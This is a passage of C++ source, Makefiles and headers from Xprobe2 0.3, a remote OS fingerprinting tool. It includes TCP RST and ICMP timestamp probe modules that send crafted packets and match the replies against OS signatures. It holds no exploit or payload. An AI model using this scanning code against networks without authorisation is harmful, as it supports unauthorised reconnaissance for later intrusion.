else { done = 1; //timeout } if (done && !sn.timeout() && (sn.get_flags() & TH_RST) == TH_RST) { if (!second_packet) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Got first RST packet. Sending second\n", get_name()); sample1 = sn; request.set_srcport(rand()); request.set_id(rand()); request.set_seq(rand()); request.set_tcpsum(0); done = 0; sn.timeout(tv); request.sendpack(""); second_packet=true; } else { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Got second RST packet.\n", get_name()); done = 1; } } } // while (!done) if (sn.timeout()) return FAIL; // we got two packets for (m_i = kwd_chk.begin(); m_i != kwd_chk.end(); m_i++) { if (m_i->first == "tcp_rst_ip_id_strategy") { m_i->second->check_param(&sn, &sample1, os); } else { m_i->second->check_param(&sn, &request, os); } } if (tg->generate_sig()) generate_signature(tg, &sample1, &request, &sn); return OK; } void TCP_Rst_Mod::generate_signature(Target *tg, TCP *pack, TCP *orig, TCP *second) { string keyword, value; unsigned int ttl; long id_diff; /* * tcp_rst_reply = [y,n] * tcp_rst_df=[0,1] * tcp_rst_ip_id_1=[0, !0, SENT] * tcp_rst_ip_id_2=[0, !0, SENT] * tcp_rst_ip_id_strategy=[R, I, 0] * tcp_rst_ttl = [<> decimal num] */ if (pack->timeout() || second->timeout()) { tg->signature("tcp_rst_reply", "n"); tg->signature("tcp_rst_df", "0"); tg->signature("tcp_rst_ip_id_1", "!0"); tg->signature("tcp_rst_ip_id_2", "!0"); tg->signature("tcp_rst_ip_id_strategy", "I"); tg->signature("tcp_rst_ttl", "<255"); return; } tg->signature("tcp_rst_reply", "y"); keyword = "tcp_rst_df"; if (pack->get_fragoff() & IP_DF) { value="1"; } else { value="0"; } tg->signature(keyword.c_str(), value.c_str()); keyword= "tcp_rst_ip_id_1"; if (pack->get_id() == 0) { value="0"; } else if (pack->get_id() == orig->get_id()) { value = "SENT"; } else { value = "!0"; } tg->signature(keyword.c_str(), value.c_str()); keyword= "tcp_rst_ip_id_2"; tg->signature(keyword.c_str(), value.c_str()); keyword="tcp_rst_ttl"; ttl = pack->get_ttl() + tg->get_distance(); value = "<"; if (ttl <= 32) value.append("32"); else if (ttl <= 60) value.append("60"); else if (ttl <= 64) value.append("64"); else if (ttl <= 128) value.append("128"); else if (ttl <= 255) value.append("255"); tg->signature(keyword.c_str(), value.c_str()); keyword="tcp_rst_ip_id_strategy"; id_diff = second->get_id() - pack->get_id(); if (id_diff > 256 || id_diff < 0) { value ="R"; } else if (id_diff > 0 && id_diff <= 256) { value = "I"; } else if (id_diff == 0) { value = "0"; } tg->signature(keyword.c_str(), value.c_str()); } int TCP_Rst_Mod::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } int TCP_Rst_Df_Bit_Check::check_param(TCP *p, TCP *o, OS_Matrix *os) { int retval = OK; o=o; //suspend compiler warning if (!p->timeout()) retval = add_param(((p->get_fragoff() & IP_DF) != 0), 0, os); return retval; } int TCP_Rst_Ip_Id_Check::check_param(TCP *p, TCP *o, OS_Matrix *os) { int retval = OK; if (!p->timeout()) retval = add_param(p->get_id(), o->get_id(), os); return retval; } int TCP_Rst_Ttl_Check::check_param(TCP *p, TCP *o, OS_Matrix *os) { int retval=OK; if (!p->timeout()) retval = add_param(p->get_ttl(), o->get_ttl(), os); return retval; } int TCP_Rst_Ip_Id_Strategy::check_param(TCP *p, TCP *o, OS_Matrix *os) { int retval = OK; if (!p->timeout()) retval = add_param(p->get_id(), o->get_id(), os); return retval; } int TCP_Rst_Reply_Check::check_param(TCP *p, TCP *o, OS_Matrix *os) { int gotp=p->timeout() ? 0 : 1; // suspend warning o->timeout(); add_param(gotp, 0, os); if (!gotp) { gen_match(5, os); } return OK; } xprobe2-0.3/src/xpmodules/os_probe/tcp_rst/tcp_rst.h000644 001751 000000 00000005017 10271643771 023122 0ustar00mederwheel000000 000000 /* * ** * ** Copyright (C) 2001-2005 Fyodor Yarochkin , * ** Ofir Arkin * ** Meder Kydyraliev * ** * ** This program is free software; you can redistribute it and/or modify * ** it under the terms of the GNU General Public License as published by * ** the Free Software Foundation; either version 2 of the License, or * ** (at your option) any later version. * ** * ** * ** This program is distributed in the hope that it will be useful, * ** but WITHOUT ANY WARRANTY; without even the implied warranty of * ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * ** GNU General Public License for more details. * ** * ** You should have received a copy of the GNU General Public License * ** along with this program; if not, write to the Free Software * ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * */ #ifndef TCP_RST_MOD_H #define TCP_RST_MOD_H #include "xprobe.h" #include "xprobe_module.h" #include "xprobe_module_param.h" class TCP_Rst_Mod: public Xprobe_Module { private: map kwd_chk; // void generate_signature(Target *, TCP *, TCP *); void generate_signature(Target *, TCP *, TCP *, TCP *); public: TCP_Rst_Mod(void); ~TCP_Rst_Mod(void); int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); }; class TCP_Rst_Df_Bit_Check: public Xprobe_Module_Param_TCP { public: TCP_Rst_Df_Bit_Check(void) : Xprobe_Module_Param_TCP(XPROBE_MODULE_PARAM_INT) { return; } int check_param(TCP *p, TCP *o, OS_Matrix *os); }; class TCP_Rst_Ip_Id_Check: public Xprobe_Module_Param_TCP { public: TCP_Rst_Ip_Id_Check(void) : Xprobe_Module_Param_TCP(XPROBE_MODULE_PARAM_ZNZORIG) { return; } int check_param(TCP *p, TCP *o, OS_Matrix *os); }; class TCP_Rst_Ttl_Check: public Xprobe_Module_Param_TCP { public: TCP_Rst_Ttl_Check(void): Xprobe_Module_Param_TCP(XPROBE_MODULE_PARAM_RANGE) { return; } int check_param(TCP *p, TCP *o, OS_Matrix *os); }; class TCP_Rst_Ip_Id_Strategy: public Xprobe_Module_Param_TCP { public: TCP_Rst_Ip_Id_Strategy(void): Xprobe_Module_Param_TCP(XPROBE_MODULE_PARAM_STRATEGY) { return; } int check_param(TCP *p, TCP *o, OS_Matrix *os); }; class TCP_Rst_Reply_Check: public Xprobe_Module_Param_TCP { public: TCP_Rst_Reply_Check(void): Xprobe_Module_Param_TCP(XPROBE_MODULE_PARAM_BOOL) { return; } int check_param(TCP *p, TCP *o, OS_Matrix *os); }; #endif /* TCP_RST_MOD_H */ xprobe2-0.3/src/xpmodules/os_probe/icmp_timestamp000755 001751 000000 00000000000 10271644025 022537 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/os_probe/icmp_timestamp/icmp_timestamp.cc000644 001751 000000 00000015143 10271643771 026153 0ustar00mederwheel000000 000000 /* $Id: icmp_timestamp.cc,v 1.13 2005/06/26 11:26:13 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include "xprobe.h" #include "usi++/usi++.h" #include #include #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "interface.h" #include "target.h" #include "icmp_timestamp.h" extern Interface *ui; /* initialization function */ int icmp_timestamp_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { ICMP_Timestamp_Mod *module = new ICMP_Timestamp_Mod; module->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the ICMP Timestamp module\n"); pt->register_module(module); pt->add_keyword(module->get_id(),"icmp_timestamp_reply"); pt->add_keyword(module->get_id(),"icmp_timestamp_reply_ttl"); pt->add_keyword(module->get_id(),"icmp_timestamp_reply_ip_id"); return OK; } ICMP_Timestamp_Mod::ICMP_Timestamp_Mod(void):Xprobe_Module(XPROBE_MODULE_OSTEST, "fingerprint:icmp_tstamp", "ICMP Timestamp request fingerprinting module") { ICMP_Timestamp_Reply_Check *timrep = new ICMP_Timestamp_Reply_Check; ICMP_Timestamp_Ip_Id_Check *timid = new ICMP_Timestamp_Ip_Id_Check; ICMP_Timestamp_Ttl_Check *timttl = new ICMP_Timestamp_Ttl_Check; kwd_chk.insert(pair("icmp_timestamp_reply", timrep)); kwd_chk.insert(pair("icmp_timestamp_reply_ttl", timttl)); kwd_chk.insert(pair("icmp_timestamp_reply_ip_id", timid)); } ICMP_Timestamp_Mod::~ICMP_Timestamp_Mod(void) { for (s_i=kwd_chk.begin(); s_i != kwd_chk.end(); s_i++) delete s_i->second; } int ICMP_Timestamp_Mod::init(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module initialized\n", get_name()); return OK; } int ICMP_Timestamp_Mod::exec(Target *tg, OS_Matrix *os) { xprobe_debug(XPROBE_DEBUG_MODULES, "--%s module has been executed against: %s\n", get_name(), inet_ntoa(tg->get_addr())); current_os = os; do_icmp_query(tg); return OK; } int ICMP_Timestamp_Mod::fini(void) { xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } int ICMP_Timestamp_Mod::parse_keyword(int os_id, const char *kwd, const char *val) { if ((s_i=kwd_chk.find(kwd)) != kwd_chk.end()) { return s_i->second->parse_param(os_id, val); } ui->msg("Ooops..none matched %s %s\n", kwd, val); return FAIL; } int ICMP_Timestamp_Mod::do_icmp_query(Target *tg) { char buf[1024]; struct timeval tv; int ret; int done; unsigned short int icmpp_id; struct in_addr local, remote; /* our lamyer randomizer ;-p */ srand(time(NULL)); icmpp_id = rand(); local = tg->get_interface_addr(); remote = tg->get_addr(); ICMP icmpp(inet_ntoa(remote)); ICMP sn(inet_ntoa(local)); sn.init_device(tg->get_interface(), 0, 1500); tv = tg->get_rtt(); icmpp.set_src(inet_ntoa(tg->get_interface_addr())); icmpp.set_icmpId(icmpp_id); icmpp.set_type(ICMP_TIMESTAMP); fflush(stderr); ret = -1; icmpp.timeout(tv); sn.timeout(tv); ret = icmpp.send_timestamp_payload(); done = 0; while (!done) { ret = sn.sniffpack(buf, sizeof(buf)); /* packet response */ // if (ret > 0 && sn.get_src() != local.s_addr if (!sn.timeout() && sn.get_src() == remote.s_addr && sn.get_type() == ICMP_TIMESTAMPREPLY && sn.get_icmpId() == icmpp_id) { done = 1; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Received reply.\n", get_name()); } // if (ret < 1) done = 1; /* timeout */ if (sn.timeout()) { done = 1; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Timed out, no reply received.\n", get_name()); } } /* do_response_check(ret); if (ret > 0) do_ttl_check(sn.get_ttl()); */ for (s_i = kwd_chk.begin(); s_i != kwd_chk.end(); s_i++) s_i->second->check_param(&sn, &icmpp, current_os); if (tg->generate_sig()) generate_signature(tg, &sn, &icmpp); return OK; } void ICMP_Timestamp_Mod::generate_signature(Target *tg, ICMP *pack, ICMP *orig) { string keyword, value; unsigned int ttl; /* # icmp_timestamp_reply = [ y, n] # icmp_timestamp_reply_ttl = [>< decimal num] # icmp_timestamp_reply_ip_id = [0, !0, SENT] */ if (!pack->timeout()) { tg->signature("icmp_timestamp_reply", "y"); keyword = "icmp_timestamp_reply_ttl"; ttl = pack->get_ttl() + tg->get_distance(); value = "<"; if (ttl <= 32) value.append("32"); else if (ttl <= 60) value.append("60"); else if (ttl <= 64) value.append("64"); else if (ttl <= 128) value.append("128"); else if (ttl <= 255) value.append("255"); tg->signature(keyword, value); keyword="icmp_timestamp_reply_ip_id"; if (pack->get_id() == 0) value="0"; else if (pack->get_id() == orig->get_id()) value = "SENT"; else value = "!0"; tg->signature(keyword, value); } else { tg->signature("icmp_timestamp_reply", "n"); tg->signature("icmp_timestamp_reply_ttl", "<64"); tg->signature("icmp_timestamp_reply_ip_id", "!0"); } } int ICMP_Timestamp_Reply_Check::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { int gotp=ip_pkt->timeout() ? 0 : 1; orig_pkt->timeout(); //suspend the warning add_param(gotp, 0, os); if (!gotp) { /* 2 keywords depend on this on * so to be able to get 100% we * generate 2 matches here if no * reply was received */ gen_match(2, os); } return OK; } int ICMP_Timestamp_Ip_Id_Check::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { if (!ip_pkt->timeout()) return add_param(ip_pkt->get_id(), orig_pkt->get_id(), os); return OK; } int ICMP_Timestamp_Ttl_Check::check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os) { if(!ip_pkt->timeout()) return add_param(ip_pkt->get_ttl(), orig_pkt->get_ttl(), os); return OK; } xprobe2-0.3/src/xpmodules/os_probe/icmp_timestamp/icmp_timestamp.h000755 001751 000000 00000004767 10271643771 026032 0ustar00mederwheel000000 000000 /* $Id: icmp_timestamp.h,v 1.8 2004/06/09 12:08:28 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef ICMP_TIMESTAMP_H #define ICMP_TIMESTAMP_H #include "xprobe.h" #include "xprobe_module.h" #include "xprobe_module_param.h" typedef struct ttl_val { int high; int low; } ttl_val_s; class ICMP_Timestamp_Mod: public Xprobe_Module { private: OS_Matrix *current_os; map kwd_chk; map ::iterator s_i; int do_icmp_query(Target *); void generate_signature(Target *, ICMP *, ICMP *); public: ICMP_Timestamp_Mod(void); ~ICMP_Timestamp_Mod(void); int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); }; class ICMP_Timestamp_Reply_Check: public Xprobe_Module_Param_ICMP { public: ICMP_Timestamp_Reply_Check(void):Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_BOOL) { return; } //~ICMP_Timestamp_Reply_Check(void) { return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; class ICMP_Timestamp_Ip_Id_Check: public Xprobe_Module_Param_ICMP { public: ICMP_Timestamp_Ip_Id_Check(void): Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_ZNZORIG) {return;} //~ICMP_Timestamp_Ip_Id_Check(void) { return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; class ICMP_Timestamp_Ttl_Check: public Xprobe_Module_Param_ICMP { public: ICMP_Timestamp_Ttl_Check(void): Xprobe_Module_Param_ICMP(XPROBE_MODULE_PARAM_RANGE) { return; } //~ICMP_Timestamp_Ttl_Check(void) { return; } int check_param(ICMP *ip_pkt, ICMP *orig_pkt, OS_Matrix *os); }; #endif /* ICMP_PING_H */ xprobe2-0.3/src/xpmodules/os_probe/icmp_timestamp/Makefile.in000755 001751 000000 00000003041 10271643771 024673 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.1 2002/08/08 11:41:43 fygrave Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I../ -I../../ -I ../../../ -I../../../xplib -I ../../../../libs-external/USI++ LDFLAGS=@LDFLAGS@ -L../../xplib SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ -lxplib DYNFLAGS=@DYNFLAGS@ XPLIB=../../xplib/libxplib.a INCLUDES= RANLIB=@RANLIB@ all: icmp_timestamp.o icmp_echo_id.o: icmp_timestamp.cc ${CXX} ${CFLAGS} -c icmp_timestamp.cc .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< .cc.o: $(INCLUDES) $(CXX) -c $(CFLAGS) $< clean: rm -f core *.o *.so distclean: clean rm -f Makefile xprobe2-0.3/src/xpmodules/os_probe/Makefile.in000644 001751 000000 00000005223 10271643771 021661 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.5 2005/07/21 11:42:32 mederchik Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ CXX=@CXX@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ RANLIB=@RANLIB@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I../ -I../xplib/ LDFLAGS=@LDFLAGS@ SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ DYNFLAGS=@DYNFLAGS@ RANLIB=@RANLIB@ INCLUDES=@INCLUDES@ all: os_probe.a os_probe.a: icmp_port_unreach_mod icmp_echo_id_mod icmp_timestamp_mod \ icmp_inforeq_mod icmp_addrmask_mod tcp_handshake_mod tcp_rst_mod smb_mod snmp_mod ar cr os_probe.a icmp_port_unreach/*.o icmp_echo_id/*.o icmp_timestamp/*.o \ icmp_inforeq/*.o icmp_addrmask/*.o tcp_handshake/*.o tcp_rst/*.o smb/*.o snmp/*.o $(RANLIB) os_probe.a icmp_port_unreach_mod: cd icmp_port_unreach; ${MAKE} icmp_echo_id_mod: cd icmp_echo_id; ${MAKE} icmp_timestamp_mod: cd icmp_timestamp; ${MAKE} icmp_inforeq_mod: cd icmp_inforeq; ${MAKE} icmp_addrmask_mod: cd icmp_addrmask; ${MAKE} tcp_handshake_mod: cd tcp_handshake; ${MAKE} tcp_rst_mod: cd tcp_rst; ${MAKE} smb_mod: cd smb; ${MAKE} snmp_mod: cd snmp; ${MAKE} clean: rm -f core *.o *.so rm -f os_probe.a cd icmp_port_unreach; ${MAKE} clean cd icmp_echo_id; ${MAKE} clean cd icmp_timestamp; ${MAKE} clean cd icmp_addrmask; ${MAKE} clean cd icmp_inforeq; ${MAKE} clean cd tcp_handshake; ${MAKE} clean cd tcp_rst; ${MAKE} clean cd smb; ${MAKE} clean cd snmp; ${MAKE} clean distclean: clean rm -f Makefile cd icmp_port_unreach; ${MAKE} distclean cd icmp_echo_id; ${MAKE} distclean cd icmp_timestamp; ${MAKE} distclean cd icmp_addrmask; ${MAKE} distclean cd icmp_inforeq; ${MAKE} distclean cd tcp_handshake; ${MAKE} distclean cd tcp_rst; ${MAKE} distclean cd smb; ${MAKE} distclean cd snmp; ${MAKE} distclean xprobe2-0.3/src/xpmodules/Makefile.in000755 001751 000000 00000003022 10271643771 020047 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.1 2002/08/08 11:41:42 fygrave Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ CXX=@CXX@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ RANLIB=@RANLIB@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I../ -I../xplib/ LDFLAGS=@LDFLAGS@ SOLDFLAGS=@SOLDFLAGS@ LIBS=@LIBS@ DYNFLAGS=@DYNFLAGS@ INCLUDES=@INCLUDES@ all: modules modules: alive os alive: cd alive_probe; ${MAKE} os: cd os_probe; ${MAKE} .c.o: $(INCLUDES) $(CC) -c $(CFLAGS) $< clean: rm -f core cd alive_probe; ${MAKE} clean cd os_probe; ${MAKE} clean distclean: clean rm -f Makefile cd alive_probe; ${MAKE} distclean cd os_probe; ${MAKE} distclean xprobe2-0.3/src/xpmodules/static_modules.h000644 001751 000000 00000005241 10271643771 021174 0ustar00mederwheel000000 000000 /* $Id: static_modules.h,v 1.8 2005/07/21 11:42:31 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef STATIC_MODULES_H #define STATIC_MODULES_H #include "xprobe_module_hdlr.h" extern int icmp_ping_mod_init(Xprobe_Module_Hdlr *, char *); extern int tcp_ping_mod_init(Xprobe_Module_Hdlr *, char *); extern int udp_ping_mod_init(Xprobe_Module_Hdlr *, char *); extern int ttl_mod_init(Xprobe_Module_Hdlr *, char *); extern int icmp_echo_id_mod_init(Xprobe_Module_Hdlr *, char *); extern int icmp_timestamp_mod_init(Xprobe_Module_Hdlr *, char *); extern int icmp_inforeq_mod_init(Xprobe_Module_Hdlr *, char *); extern int icmp_addrmask_mod_init(Xprobe_Module_Hdlr *, char *); extern int icmp_port_unreach_init(Xprobe_Module_Hdlr *, char *); extern int tcp_handshake_mod_init(Xprobe_Module_Hdlr *, char *); extern int portscan_mod_init(Xprobe_Module_Hdlr *, char *); extern int tcp_rst_mod_init(Xprobe_Module_Hdlr *, char *); extern int smb_mod_init(Xprobe_Module_Hdlr *, char *); extern int snmp_mod_init(Xprobe_Module_Hdlr *, char *); typedef struct xprobe_module_func { char *name; int(* func)(Xprobe_Module_Hdlr *, char *); } xprobe_module_func_t; xprobe_module_func_t mod_init_funcs[]= { {"ping:icmp_ping", icmp_ping_mod_init}, {"ping:tcp_ping", tcp_ping_mod_init}, {"ping:udp_ping", udp_ping_mod_init }, {"infogather:ttl_calc",ttl_mod_init }, {"infogather:portscan", portscan_mod_init}, {"fingerprint:icmp_echo", icmp_echo_id_mod_init}, {"fingerprint:icmp_tstamp", icmp_timestamp_mod_init}, {"fingerprint:icmp_amask", icmp_addrmask_mod_init}, {"fingerprint:icmp_info", icmp_inforeq_mod_init }, {"fingerprint:icmp_port_unreach", icmp_port_unreach_init}, {"fingerprint:tcp_hshake", tcp_handshake_mod_init}, {"fingerprint:tcp_rst", tcp_rst_mod_init}, {"fingerprint:smb", smb_mod_init}, {"fingerprint:snmp", snmp_mod_init}, {NULL, NULL} }; #endif /* STATIC_MODULES_H */ xprobe2-0.3/src/config_set.h000644 001751 000000 00000011257 10271643771 016261 0ustar00mederwheel000000 000000 /* $Id: config_set.h,v 1.8 2005/07/21 11:42:31 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef CONFIG_SET_H #define CONFIG_SET_H #include "xprobe.h" /* #include #include #include */ using namespace std; #define XP_CONFIG_LINEMAX 2048 #define XP_CONFIG_TK_EMPTY 1 #define XP_CONFIG_TK_SECBEGIN 2 #define XP_CONFIG_TK_SECEND 3 #define XP_CONFIG_TK_KEYVAL 4 #define XP_CONFIG_TK_OPT 5 class Config_Line { private: string line; int errors; public: const string trim_comments( string &l); const string trim_whitespc( string &l); Config_Line(void) { errors = 0; line = "BUG"; /* for troubleshooting */ return; }; Config_Line(const string &l) : line(l) { errors = 0; } // Config_Line(const Config_Line &cf) { line = cf.get_line(); line_num = cf.get_linenum(); } int read_line(FILE *fd); int get_tokid(void); void inc_error(void) { errors++; } int get_error(void) { return errors; } const string get_line(void) { return line; } }; class Config_SectionB: public Config_Line { private: string sec_name; public: Config_SectionB(const string &l); const string get_secname(void) { return sec_name; } }; class Config_KeyVal: public Config_Line { private: string key; string val; public: Config_KeyVal(const string &l); const string get_key(void) { return key; } const string get_val(void) { return val; } }; class Config_File; class Config_Section { private: Config_File *cf; string sec_name; int state; map key_val; map::iterator kv_i; vector options; void set_secname(const string &s) { sec_name = s; } void add_key_val(const string &key, const string &val); int get_state(void) { return state; } void set_state(int st) { state = st; } void set_option(const string &opt); public: Config_Section(Config_File *c) { cf = c; state=0; } int read_sec(void); void reset_key(void) { kv_i = key_val.begin(); } int set_nextkey(void); const string get_nextkey(void) { return (*kv_i).first; } const string get_nextval(void) { return (*kv_i).second; } int find_key(const string &k); const char *get_secname(void) { return sec_name.c_str(); } const string gets_secname(void) { return sec_name; } }; class Config_Set; class Config_File { private: string filename; FILE *fd; int line_num; Config_Set *cfset; public: Config_File(Config_Set *); FILE *get_fd(void) { return fd; } int process(char *); int process_generic(Config_Section *); int process_fingerprint(Config_Section *); int open_cfg(void); int close_cfg(void); void inc_line(void) { line_num++; } int get_linenum(void) { return line_num; } }; class Config_Set { private: Config_File *cf; int timeout; bool showroute; map *tcp_ports; map *udp_ports; string comstrings; public: Config_Set(); ~Config_Set(void); void set_timeout(int t) { timeout = t; } int get_timeout(void) { return timeout; } int read_config(char *); bool show_route(void) { return showroute; } void show_route(bool sr) { showroute = sr; } map *get_tcp_ports(void) { return tcp_ports; } map *get_udp_ports(void) { return udp_ports; } void set_tcp_ports(map *tp) { tcp_ports = tp; } void set_udp_ports(map *up) { udp_ports = up; } void set_comstrings(string v) { comstrings = v; } string get_comstrings(void) { return comstrings; } }; #endif /* CONFIG_SET_H */ xprobe2-0.3/src/defines.h.in000644 001751 000000 00000011454 10271643771 016162 0ustar00mederwheel000000 000000 /* $Id: defines.h.in,v 1.17 2005/07/18 11:08:24 mederchik Exp $ */ /* ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef DEFINES_H #define DEFINES_H #define VERSION "@VERSION@" #define BANNER \ "\nXprobe2 v."VERSION\ " Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu"\ "\n" #define DATA_SIZE 20 #define DEF_TIMEOUT 10 #define DEF_SEND_DELAY 0.01 #define PACKBUF_SIZ 1024 #define DEFAULT_CONFIG "@CFGDIR@/xprobe2.conf" #define DEFAULT_MATCHES 10 #define UDP_PORT 32132 #define UDP_DATA_SIZE 70 #define UDP_LEN_ALL (sizeof(struct ip) + sizeof(struct udphdr) + UDP_DATA_SIZE) #define PING_PAYLOAD_SIZE 56 #define TEST_RESULT_BROKEN -1 #define TEST_RESULT_ZERO 0 #define TEST_RESULT_GOOD 1 #define TEST_RESULT_BAD 2 #define UDP_CKSUM_BADDGRAM TEST_RESULT_BROKEN #define UDP_CKSUM_ZERO TEST_RESULT_ZERO #define UDP_CKSUM_BAD TEST_RESULT_BAD #define UDP_CKSUM_GOOD TEST_RESULT_GOOD #define IP_CKSUM_ZERO 